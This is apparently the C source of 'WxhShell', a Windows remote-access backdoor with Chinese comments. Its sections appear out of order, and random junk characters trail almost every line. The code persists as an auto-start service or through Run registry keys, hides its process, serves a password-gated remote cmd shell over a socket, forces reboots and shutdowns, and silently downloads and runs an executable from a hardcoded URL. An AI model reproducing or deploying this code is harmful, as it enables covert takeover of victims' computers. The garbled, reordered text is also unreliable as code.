    if(Boot(SHUTDOWN)) NGOc:>}k>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o|*ao2a  
    else { l<>syHCH;L  
    closesocket(wsh); [`BMi-WQ  
    ExitThread(0); +)h*)  
    } "-88bF~  
    break; [fiB!G ]?  
    } !1$Q Nxgi  
  // 获取shell /bv1R5  
  case 's': { Q0K2md_%x  
    CmdShell(wsh); N_rz~$|@9  
    closesocket(wsh); ?n)d: )Ud"  
    ExitThread(0); ~1]4 J(+  
    break; Hm!ffqO_  
  } :hr% 6K7  
  // 退出 dl mF?N|EC  
  case 'x': { y{ %2Q)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u9ObFm$7  
    CloseIt(wsh); 6c,]N@,Zw  
    break; 0+L:+S  
    } D1rXTI$$  
  // 离开 ;gLHSHEA  
  case 'q': { ecDni>W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V9&7K65-1  
    closesocket(wsh); <ZcJC+k  
    WSACleanup(); /'k4NXnW3  
    exit(1); D!Pv`wm  
    break; K4~z@. G6*  
        } _&)^a)Nu  
  } NF8'O  
  } }'L7<_  
E}LuWFZ&  
  // 提示信息 bnHQvCO3$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :>4pH  
} ]CHO5'%,$  
  } 1BK!<}yI{  
h+=xG|1R[5  
  return; v EppkS U1  
} -< D7  
yw2Mr+9I  
// shell模块句柄 $c"byQ[3S  
int CmdShell(SOCKET sock) 9'nM$ a  
{ N3dS%F,_  
STARTUPINFO si; TgMa! Vz  
ZeroMemory(&si,sizeof(si)); g@0<`g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HY-7{irR~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VBnD:w"z  
PROCESS_INFORMATION ProcessInfo; (#I$4Px{  
char cmdline[]="cmd"; KmS$CFsGL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (mbC! !>  
  return 0; UdO(9Jc5^  
} 9<0TF+}>  
0<tce  
// 自身启动模式 ^{Wx\+*!  
int StartFromService(void) hWc`4xdl  
{ aT|SKb`  
typedef struct ]nPfIBoS  
{ :{sy2g/+  
  DWORD ExitStatus; c=d` DJ  
  DWORD PebBaseAddress; !|4fww  
  DWORD AffinityMask; cxX/ b ,  
  DWORD BasePriority; F{*{f =E!B  
  ULONG UniqueProcessId; m8M2ka  
  ULONG InheritedFromUniqueProcessId; 1i=lJmr  
}   PROCESS_BASIC_INFORMATION; 4`E[ WE:Q  
|Y|6`9;  
PROCNTQSIP NtQueryInformationProcess; QAGR\~  
cPaz-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9dS<^E(ZF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a(.q=W  
&[ oW"Q{  
  HANDLE             hProcess; 1. A@5*Q  
  PROCESS_BASIC_INFORMATION pbi; rtM29~c>@  
)M3} 6^s]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xXb7/.*qE  
  if(NULL == hInst ) return 0; 10tlD<eYb  
7x> \/l(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #/N;ScyUJT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t =LIkwD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .X1xpi%  
{ovt 6C  
  if (!NtQueryInformationProcess) return 0; b'AA*v,b  
&#/UWv}f 0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5>r2&72=  
  if(!hProcess) return 0; `L~gERW#  
lZ,w#sqbY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7QSr C/e  
n[[2<s*YJ  
  CloseHandle(hProcess); Y@(izC&h  
GZxPh&BM?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GN1Q\8)o  
if(hProcess==NULL) return 0; %Z~0vwY  
&VPfI  
HMODULE hMod; (#e,tu  
char procName[255]; ,"e n7  
unsigned long cbNeeded; 7a0T]  
itYTV?bd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]v2%hX  
cG)U01/"  
  CloseHandle(hProcess); C>NLZM T  
s2=`haYu  
if(strstr(procName,"services")) return 1; // 以服务启动 {!0f.nv  
>DM^/EAG{  
  return 0; // 注册表启动 iQd,xr  
} ^7Z#g0{^w  
2I[(UMI$7  
// 主模块 z:1"d R   
int StartWxhshell(LPSTR lpCmdLine) R) ep1X^  
{ 6Pp3*O`/V  
  SOCKET wsl; z(!K8 T  
BOOL val=TRUE; O'rz  
  int port=0; ,gO(zI-1  
  struct sockaddr_in door; O[Yc-4  
F_I.=zQr  
  if(wscfg.ws_autoins) Install(); jjT)3 c:J[  
qs$w9I  
port=atoi(lpCmdLine); 5M v<8P~  
6N\f>c  
if(port<=0) port=wscfg.ws_port; [AHoTlPZ  
R4_BP5+  
  WSADATA data; d DrzO*a\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W?H-Ng3E  
f7_V ]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >,6%Y3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zdfruzl&`  
  door.sin_family = AF_INET; ]Uj7f4)k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aG&t gD{  
  door.sin_port = htons(port); OC6v%@xa  
uqHI/4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0<[g7BbR  
closesocket(wsl); vJ?j#Ch  
return 1; r91b]m3xL  
} [gaB}aLn  
j&-<e7O=  
  if(listen(wsl,2) == INVALID_SOCKET) { )NLjv=ql  
closesocket(wsl); P. Kfoos  
return 1; Oh=E!  
} *<ILSZ  
  Wxhshell(wsl); 230ijq3Y G  
  WSACleanup(); i'YM9*yN  
+/>XOY|Ie  
return 0; P>nz8NRq  
'T+v&M  
} f0@4 >\g  
{i"t h(J$  
// 以NT服务方式启动 _{2/QP}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \o}=ob  
{ =/m$ayG  
DWORD   status = 0; 'wA4yJ<  
  DWORD   specificError = 0xfffffff; ;9;jUQ]MyG  
v"YaMbu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K+<F, P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g1{2E<b 5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TCI)L}L|  
  serviceStatus.dwWin32ExitCode     = 0; ' OXL'_Xl  
  serviceStatus.dwServiceSpecificExitCode = 0; sl_f+h0  
  serviceStatus.dwCheckPoint       = 0; TcpaZ 'x  
  serviceStatus.dwWaitHint       = 0; G`r/ tesW  
?_`X8Ok  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G'T: l("l  
  if (hServiceStatusHandle==0) return; jaL#  
/k.?x]Ab  
status = GetLastError(); ^&7gUH*v  
  if (status!=NO_ERROR) [:MFx6  
{ y=&^=Z h[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LI9 Uc\  
    serviceStatus.dwCheckPoint       = 0; @(CJT-Ak  
    serviceStatus.dwWaitHint       = 0; E$C0\O!7  
    serviceStatus.dwWin32ExitCode     = status; m%%\k \  
    serviceStatus.dwServiceSpecificExitCode = specificError; VmON}bb[zz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MlV3qM@  
    return; B=)tq.Q7  
  } ih=O#f|  
3H`r|R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gxc8O).5vY  
  serviceStatus.dwCheckPoint       = 0; "ph[)/u;  
  serviceStatus.dwWaitHint       = 0; )v+\1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~o27~R ]  
} VXO.S)v2J  
xM:9XhH1  
// 处理NT服务事件,比如:启动、停止 }u.I%{4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y_M,p?]^,  
{ P?|>, \t  
switch(fdwControl) ,uL}O]L  
{ .cK<jF@'  
case SERVICE_CONTROL_STOP: =`g@6S  
  serviceStatus.dwWin32ExitCode = 0; x"~gulcz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *?~&O.R"  
  serviceStatus.dwCheckPoint   = 0; ]--" K{  
  serviceStatus.dwWaitHint     = 0; TFO4jjiC"  
  { ! i8'gq'q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <O3,b:vw  
  } WesEZ\V  
  return; AGV+Y 6  
case SERVICE_CONTROL_PAUSE: BnU3oP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LAH.PcjPa  
  break; 9'0v]ar  
case SERVICE_CONTROL_CONTINUE: !'(QF9%Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -eFq^KP2  
  break; ebiOR1)sN  
case SERVICE_CONTROL_INTERROGATE: R6`,}<A]@  
  break; 4tlLh`-8  
}; W3A9uk6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fjLS_Q ;h  
} J3y4 D}  
qa,i:T(w  
// 标准应用程序主函数 IzlmcP3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O^r,H,3S  
{ "qhQJql  
/-Y.A<ieN8  
// 获取操作系统版本 <|;)iT1VeT  
OsIsNt=GetOsVer();  %Krf,H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SGP)A(,k9  
Dbw{E:pq  
  // 从命令行安装 2Z+:^5  
  if(strpbrk(lpCmdLine,"iI")) Install(); *;[g Ga~  
MJ<jF(_=  
  // 下载执行文件 s@(ME1j(U!  
if(wscfg.ws_downexe) { "=,IbC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Kp>fOe'KW  
  WinExec(wscfg.ws_filenam,SW_HIDE); gN .n _!  
} uU/'oZ?  
B{!*OC{l  
if(!OsIsNt) { @:t2mz:^i  
// 如果时win9x,隐藏进程并且设置为注册表启动 _K3;$2d|R  
HideProc(); th%T(D5n  
StartWxhshell(lpCmdLine); O96%U$W  
} .4[M7)  
else 6[Wv g  
  if(StartFromService()) =F09@C,  
  // 以服务方式启动 Q!{,^Qb  
  StartServiceCtrlDispatcher(DispatchTable); PO*0jO;%  
else ,"5][RsOn  
  // 普通方式启动 7)*q@  
  StartWxhshell(lpCmdLine); uZa)N-=b2  
xE- _Fv9  
return 0; 0t%`jY~%  
} <Aqo[']  
C(n_*8{  
(} wMU]!_  
<xUX&J=;  
=========================================== u1`JvfLrL  
lX64IvG8+o  
[D2<)  
g\pLQH  
%ZX3:2  
]v#T9QQN  
" 7A^L$TY  
HjY! ]!4p  
#include <stdio.h> pYh\l.@qf  
#include <string.h> 4VhKV JX  
#include <windows.h> A().1h1_k  
#include <winsock2.h> 84/#,X!=s  
#include <winsvc.h> Q-KBQc  
#include <urlmon.h> ?@QcKQ@  
iN1_ T  
#pragma comment (lib, "Ws2_32.lib") yT[)V[}  
#pragma comment (lib, "urlmon.lib") +iw4>0pi  
x{S2   
#define MAX_USER   100 // 最大客户端连接数 ;0-R"c)-  
#define BUF_SOCK   200 // sock buffer *fI\|%K  
#define KEY_BUFF   255 // 输入 buffer ?~<NyJHN%  
P?J\p J1|7  
#define REBOOT     0   // 重启 3*N0oc^m  
#define SHUTDOWN   1   // 关机 H__'K/nH+  
~YXkAS:  
#define DEF_PORT   5000 // 监听端口 vw :&c.zd  
T3PwM2em_`  
#define REG_LEN     16   // 注册表键长度 pzb`M'Z?C  
#define SVC_LEN     80   // NT服务名长度 2:&L|;  
d'[q2y?6N  
// 从dll定义API DK1{Z;Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T }Wse{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $Y8iT<nP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eg"A?S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .g_^! t  
XII',&  
// wxhshell配置信息 m?=J;r"Re  
struct WSCFG { h~ q5GhY!9  
  int ws_port;         // 监听端口 qA t#0  
  char ws_passstr[REG_LEN]; // 口令 CHDt^(oa!B  
  int ws_autoins;       // 安装标记, 1=yes 0=no xu >grj  
  char ws_regname[REG_LEN]; // 注册表键名 8v6AfTo%  
  char ws_svcname[REG_LEN]; // 服务名 [@NW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Fe2t[y:8h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;8cTy8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ek d[|g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xu@xP5GB^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jVna;o)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7?8+h  
Ym 2Ac>I4  
}; )Jh:~9L%='  
bL|$\'S  
// default Wxhshell configuration pxCQ=0k  
struct WSCFG wscfg={DEF_PORT, &Y3ZGRT  
    "xuhuanlingzhe", 0Y8Cz/$  
    1, CDT;AdRw7  
    "Wxhshell", ;8b!T -K  
    "Wxhshell", P.djR)YI  
            "WxhShell Service", M2nUY`%#v  
    "Wrsky Windows CmdShell Service", ITD&w g  
    "Please Input Your Password: ", L#fK ,r8  
  1, mNJCV8 <  
  "http://www.wrsky.com/wxhshell.exe", {uxTgX  
  "Wxhshell.exe" I(j$^DA.  
    }; >|mZu)HIY;  
8Ep!  
// 消息定义模块 3teP6|K'g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xdMY2u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z7pw~Tqlz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; | g"K7XfM4  
char *msg_ws_ext="\n\rExit."; ED>P>Gg  
char *msg_ws_end="\n\rQuit."; 'Jd*r(2d  
char *msg_ws_boot="\n\rReboot..."; kpMo7n  
char *msg_ws_poff="\n\rShutdown..."; %0'7J@W  
char *msg_ws_down="\n\rSave to "; Q~`{^fo1  
<&tdyAT?&  
char *msg_ws_err="\n\rErr!"; 2rHQ7  
char *msg_ws_ok="\n\rOK!"; Nl^u A  
|<%v`*  
char ExeFile[MAX_PATH]; 7@&kPh}PG  
int nUser = 0; ~VV$wU!A  
HANDLE handles[MAX_USER]; gOMy8w4>  
int OsIsNt; DXZZZ[#  
D$VRE^k  
SERVICE_STATUS       serviceStatus; Kd*=-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [rz5tfMp  
6_K7!?YG7  
// 函数声明 yi2F#o 'K  
int Install(void); %eGI]!vf  
int Uninstall(void); ,o}CBB! k  
int DownloadFile(char *sURL, SOCKET wsh); U[z2{\  
int Boot(int flag); 5ka6=R(r  
void HideProc(void); V5gr-^E  
int GetOsVer(void); V`G^Jyj  
int Wxhshell(SOCKET wsl); 9U3.=J  
void TalkWithClient(void *cs); )5u#'5I>  
int CmdShell(SOCKET sock); cH707?p/I  
int StartFromService(void);  j}w  
int StartWxhshell(LPSTR lpCmdLine); $"va8,  
m ;wj|@cF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y2R\SL,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @.,'A[D!K  
gUYTVp Vf  
// 数据结构和表定义 )~IOsTjI  
SERVICE_TABLE_ENTRY DispatchTable[] = @X P_~ N  
{ xpI8QV$#  
{wscfg.ws_svcname, NTServiceMain}, [WXcp1p  
{NULL, NULL} ,rOh*ebF  
}; uc LDl  
%BQ?DTtb7'  
// 自我安装 IsjN xBM  
int Install(void) ($ gmN 4  
{ AdbTI#eY  
  char svExeFile[MAX_PATH]; SJE!14|e  
  HKEY key; iH>b"H >  
  strcpy(svExeFile,ExeFile); s~k62  
UG]x CkDS  
// 如果是win9x系统,修改注册表设为自启动 uWi pjxS  
if(!OsIsNt) { 99n;%W>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M0hR]4T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X|L_}Q7  
  RegCloseKey(key); fw|t`mUGu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IDdu2HNu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [ Scao $  
  RegCloseKey(key); O%<+&Q7  
  return 0; ReGT*+UN  
    } 3@* ~>H  
  } Iz&d S?p_  
} ?"kU+tCxg  
else { =@nW;PUZ  
G0Z$p6z  
// 如果是NT以上系统,安装为系统服务 s !I I}'Je  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s"~,Zzy@j  
if (schSCManager!=0) 4C3i  
{ u,~+ho@  
  SC_HANDLE schService = CreateService ^ '_Fd  
  ( a(uQGyr[k1  
  schSCManager, X>Z83qV5d!  
  wscfg.ws_svcname, I*pFX0+  
  wscfg.ws_svcdisp, Z/;hbbG  
  SERVICE_ALL_ACCESS, ;KG}Yr72  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "9Br )3  
  SERVICE_AUTO_START, YB4|J44Y  
  SERVICE_ERROR_NORMAL, )&-n-m@E  
  svExeFile, 3%u: c]-wF  
  NULL, VeH%E.:  
  NULL, .5tXwxad"  
  NULL, W k"_lJ  
  NULL, P<9T.l  
  NULL H~:g =Zw  
  ); -$kbj*b##  
  if (schService!=0) swMR+F#u*  
  { @JOsG-VW~  
  CloseServiceHandle(schService); ANR611-a  
  CloseServiceHandle(schSCManager); X.rbJyKe  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C*Q x  
  strcat(svExeFile,wscfg.ws_svcname); $>Gf;k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [3qJUJM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d8WEsQ+)A  
  RegCloseKey(key); & fnfuU$   
  return 0; RG/P]  
    } Z7Nhb{  
  } <!X]$kvG  
  CloseServiceHandle(schSCManager); V3axwg_  
} @Q:?,  
} #Zn+-Ih  
.SBN^fq  
return 1; dhuIVBp!!e  
} uuy0fQQ8ti  
- @KT#  
// 自我卸载 j92+kq>Xd  
int Uninstall(void) ^SS9BQ*m  
{ D~TK'&  
  HKEY key; oJI+c+e"  
W\e!rq  
if(!OsIsNt) { 7f~7vydZ}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M F$NcU  
  RegDeleteValue(key,wscfg.ws_regname); P[e#j  
  RegCloseKey(key); 5=!aq\ 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `$/M\aM%  
  RegDeleteValue(key,wscfg.ws_regname); x o72JJ  
  RegCloseKey(key); 3>z+3!I z  
  return 0; uW,rmd  
  } @!(V0-  
} L.a~vk 1  
} ],wzZhA  
else { O^R ^Aw  
8)J,jh9q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "||G`%aO+t  
if (schSCManager!=0) Z3iX^  
{ ;;LiZlf  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aQ)g7C  
  if (schService!=0) ^Ux*"\/Es  
  { A^F0}MYT  
  if(DeleteService(schService)!=0) { +jp^  
  CloseServiceHandle(schService);  ur k@v  
  CloseServiceHandle(schSCManager); ` $[`C/h  
  return 0; [+:KIW<  
  } {1GIiP-U  
  CloseServiceHandle(schService); XP65  
  } nm<S#i*  
  CloseServiceHandle(schSCManager); RY*s}f  
} ;fv/s]X86I  
} =}W)%Hldr.  
ralU9MN.  
return 1; hPUYq7B  
} \0l"9 B.  
3<6P^p=I  
// 从指定url下载文件 (' i_Xe  
int DownloadFile(char *sURL, SOCKET wsh) 79U 7<]-!  
{ d.NB@[?*  
  HRESULT hr; _\FA}d@N  
char seps[]= "/"; y;HJ"5.Mw  
char *token; 4$v08z Z  
char *file; `Y7&}/OM  
char myURL[MAX_PATH]; VHU,G+ms  
char myFILE[MAX_PATH]; JZcW?Or  
r$Y% 15JV  
strcpy(myURL,sURL); Umk!m] q  
  token=strtok(myURL,seps); jyjK~ !0  
  while(token!=NULL) h,'m*@Eg  
  { }sGH}n<9*  
    file=token; i(<do "Am<  
  token=strtok(NULL,seps); Lmyw[s\U  
  } 1 BVpv7@  
No)@#^  
GetCurrentDirectory(MAX_PATH,myFILE); f@IL2DL}\  
strcat(myFILE, "\\"); GSg/I.)S  
strcat(myFILE, file); h}P""  
  send(wsh,myFILE,strlen(myFILE),0); bC]GL$ph9*  
send(wsh,"...",3,0); FDRpK 5cw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #'kVW{  
  if(hr==S_OK) YCB=RT]&`  
return 0; 3 jay V  
else ?I#zcD)w  
return 1; `LVX|l62  
FYeUz$/  
} `)eqTeW  
C$EvcF% 1  
// 系统电源模块 %g%#=a;]q  
int Boot(int flag) 9=;ETLL "  
{ ,u<aKae  
  HANDLE hToken; E+E.z?>S  
  TOKEN_PRIVILEGES tkp; |Ok1E  
uY=}w"Db  
  if(OsIsNt) { 7~ok*yGw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \9dC z;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?QCHkhU  
    tkp.PrivilegeCount = 1; Y<-dd"\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i6h , Aw3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E@\bFy_!>b  
if(flag==REBOOT) { uCpk1d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B1a&'WX?  
  return 0; 68jq1Y Pv  
} {\f`s^;8{  
else { K3^N_^H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &`[Dl(W  
  return 0; c1p*}T  
} fmj-&6  
  } vZpt}u  
  else { ^ $t7p 1  
if(flag==REBOOT) { `;!v<@:i2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9l :Bum)9  
  return 0; ``mW\=fe  
} /8w _jjW  
else { $ OMGo`z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) co!#.  
  return 0; ByPzA\;e  
} @[4Tdf  
} )fz<n$3|$#  
CzZm C]5  
return 1; 38T2IN  
} c B9`U4<  
YkLEK|d  
// win9x进程隐藏模块 v-@xO&<  
void HideProc(void) CCZ]`*wJ  
{ za20Y?)[  
we&g9j'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9L'R;H?L  
  if ( hKernel != NULL ) Y8 a![  
  { =<,AzuV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k;pTOj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YQ}bG{V  
    FreeLibrary(hKernel); Iz\IQa  
  } PO[ AP%;  
M[R\URu8  
return; !fcr3x|Y~M  
} 1[vmK,N=E  
%vO b"K$X  
// 获取操作系统版本 w;(`!^xv  
int GetOsVer(void) qwU,D6  
{ TY3WP$u  
  OSVERSIONINFO winfo; I)Dd"I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lT3, G#(  
  GetVersionEx(&winfo); "p~1| ?T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QviH+9  
  return 1; p}NIZ)]$  
  else "7pd(p *C  
  return 0; #Xc6bA&  
} Q1Sf7)  
X,<n|zp  
// 客户端句柄模块 ^ cn)eA  
int Wxhshell(SOCKET wsl) ` AA[k  
{ =%YU~  
  SOCKET wsh; 5/v@VUzH  
  struct sockaddr_in client; .)>DFGb>H  
  DWORD myID; 1dF=BR8  
KN;b+`x;M  
  while(nUser<MAX_USER) hYW<4{Gjr  
{ DM%4 V|F"  
  int nSize=sizeof(client); PZRm.vC)k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %<q l  
  if(wsh==INVALID_SOCKET) return 1; gekW&tRie  
b"y][5VE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =M'y& iz-  
if(handles[nUser]==0) :*"0o{ ie  
  closesocket(wsh); 4#Fz!Km  
else ruLi "d  
  nUser++; KF|<A@V  
  } ]3C&l+m$ot  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X'Dg= |  
EF?@f{YY$n  
  return 0; EwcN$Ma  
} PYl(~Vac  
W,i SN}  
// 关闭 socket &LO<!WKQ  
void CloseIt(SOCKET wsh) (ROurq"  
{ |:s 4#3  
closesocket(wsh); A`4j=OF\  
nUser--; :mU,g|~55  
ExitThread(0); 42?X)n>  
} Pgs^#(^>  
tdn[]|=  
// 客户端请求句柄 WKFmU0RK  
void TalkWithClient(void *cs) Oc;0*v[I  
{ gd6We)&  
9qe6hF/29  
  SOCKET wsh=(SOCKET)cs; QW.VAF\6*  
  char pwd[SVC_LEN]; N?H;fK4v  
  char cmd[KEY_BUFF]; UDHk@M  
char chr[1]; 8W 9%NW3&  
int i,j; N0h"EV[  
>+=)Q,|R  
  while (nUser < MAX_USER) { A\Q]o#U  
iKa}@U  
if(wscfg.ws_passstr) { m& DDz+g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,qak_bP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P.P3/,  
  //ZeroMemory(pwd,KEY_BUFF); YBN. waL  
      i=0; *Wv]DV=\  
  while(i<SVC_LEN) { '2a}1?  
KL!k'4JNY  
  // 设置超时 _JA.~edqM  
  fd_set FdRead; wHk4BWg-  
  struct timeval TimeOut; uAR!JJ  
  FD_ZERO(&FdRead); 8w~I(2S:#  
  FD_SET(wsh,&FdRead); 3=1aMQ  
  TimeOut.tv_sec=8; SC`.VCfc.  
  TimeOut.tv_usec=0; A"k6n\!n;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i)P.Omr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?@l9T)fF  
"?V4Tl~uu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U?d1  
  pwd=chr[0]; 3x9O<H}  
  if(chr[0]==0xd || chr[0]==0xa) { QfB \h[A  
  pwd=0; <DiD8")4  
  break; f .rz2)o  
  } &}VGC=F;d  
  i++; 7am._K  
    } 4s~Y qP{K  
fQlR;4QX]  
  // 如果是非法用户,关闭 socket RyC]4 QyC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3'O+  
} d l@  
~qLbyzHaB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?UoA'~=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =U!'v X d  
"0+_P{w+  
while(1) { |Rw0$he  
M ZZ4  
  ZeroMemory(cmd,KEY_BUFF); q/Ba#?sen  
g1JD8~a  
      // 自动支持客户端 telnet标准   ^6mlE+WY  
  j=0; [ECSJc&i  
  while(j<KEY_BUFF) { v&i M/pJU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bqN({p&  
  cmd[j]=chr[0]; Byyus[b'A  
  if(chr[0]==0xa || chr[0]==0xd) { j./3)  
  cmd[j]=0; FJKt5}`8  
  break; Am%zEt$c  
  } RtGETiA\b  
  j++; >5#`j+8=q  
    } uI@:\Rss  
%YM4x!6  
  // 下载文件 -RVwPY  
  if(strstr(cmd,"http://")) { !`hjvJryw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U_m<W$"HF  
  if(DownloadFile(cmd,wsh)) [Pi8gj*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N?U;G*G  
  else ;hJTJMA6/6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O9oYuC:q  
  } ;RB]awE  
  else { b/5?)!I  
++-HdSHY  
